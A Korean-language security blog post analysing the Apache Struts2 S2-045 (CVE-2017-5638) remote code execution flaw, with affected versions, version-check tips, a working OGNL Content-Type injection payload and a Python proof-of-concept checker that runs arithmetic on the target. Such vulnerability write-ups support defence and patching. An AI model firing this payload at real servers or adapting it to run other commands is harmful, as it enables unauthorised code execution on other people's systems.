Apache Struts2 RCE Vulnerability(CVE-2017-5638/S2-045)

올해도 어김없이 Apache Struts2 관련 취약점이 공개되었습니다. 요즘 DCCP Double free 취약점을 천천히 보고있는 상황인데 급히 Struts 정리해서 포스팅하게 되네요. 현재 CVE-2017-5638, S2-045로 올라와 있습니다.

Vulnerable Version

  • Apache Struts 2.3.5 ~ 2.3.31
  • Apache Struts 2.5 ~ 2.5.10

Struts2 Version 확인하기

일단 쉽게 Struts2 의 버전을 확인하기 위해서는 WEB-INF Directory 내 JAR 파일 struts2-core 내 포함된 MANIFEST.MF 파일을 봅니다. Bundle-Version 에 버전에 대한 정보가 들어있습니다.

Vulnerability Analysis

이번 Struts2 취약점은 Content-Type 부분 파싱 중 검증이 잘 되지 않아서 발생한 문제입니다. diff 구간이랑 코드를 직접 보진 않아 아직 원인은 파악이 안되나 PoC 코드를 보면 아래와 같은 코드를 Content-Type 헤더에 붙여서 나가는 걸 알 수 있습니다. 아마 타입 관련해서 분기하거나 비교하는 구문에서 탈출하여 직접 코드를 호출 한 것 같네요.

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}

이 부분은 정보 좀 수집하고 코드단 확인하면 추가로 작성하도록 하겠습니다.

PoC

현재 github 내 python 기반의 poc 코드가 올라와있고, 앞으로 계속 여러 언어로 포팅되어 올라올 것 같네요.

https://github.com/tengzhangchao/Struts2_045-Poc

import requests
import sys
def poc(url):
    payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
    headers = {}
    headers["Content-Type"] = payload
    r = requests.get(url, headers=headers)
    if "105059592" in r.content:
        return True

    return False

if __name__ == '__main__':
    if len(sys.argv) == 1:
        print "python s2-045.py target"
        sys.exit()
    if poc(sys.argv[1]):
        print "vulnerable"
    else:
        print "not vulnerable"

아주 간단한 코드입니다. 코드 실행으로 102*102*102*99 처리 값을 출력하고 105059592가 정상적으로 나왔는지 확인합니다.

102 * 102 * 102 * 99 = 105059592

Reference

  • https://github.com/tengzhangchao/Struts2_045-Poc
  • https://cwiki.apache.org/confluence/display/WW/S2-045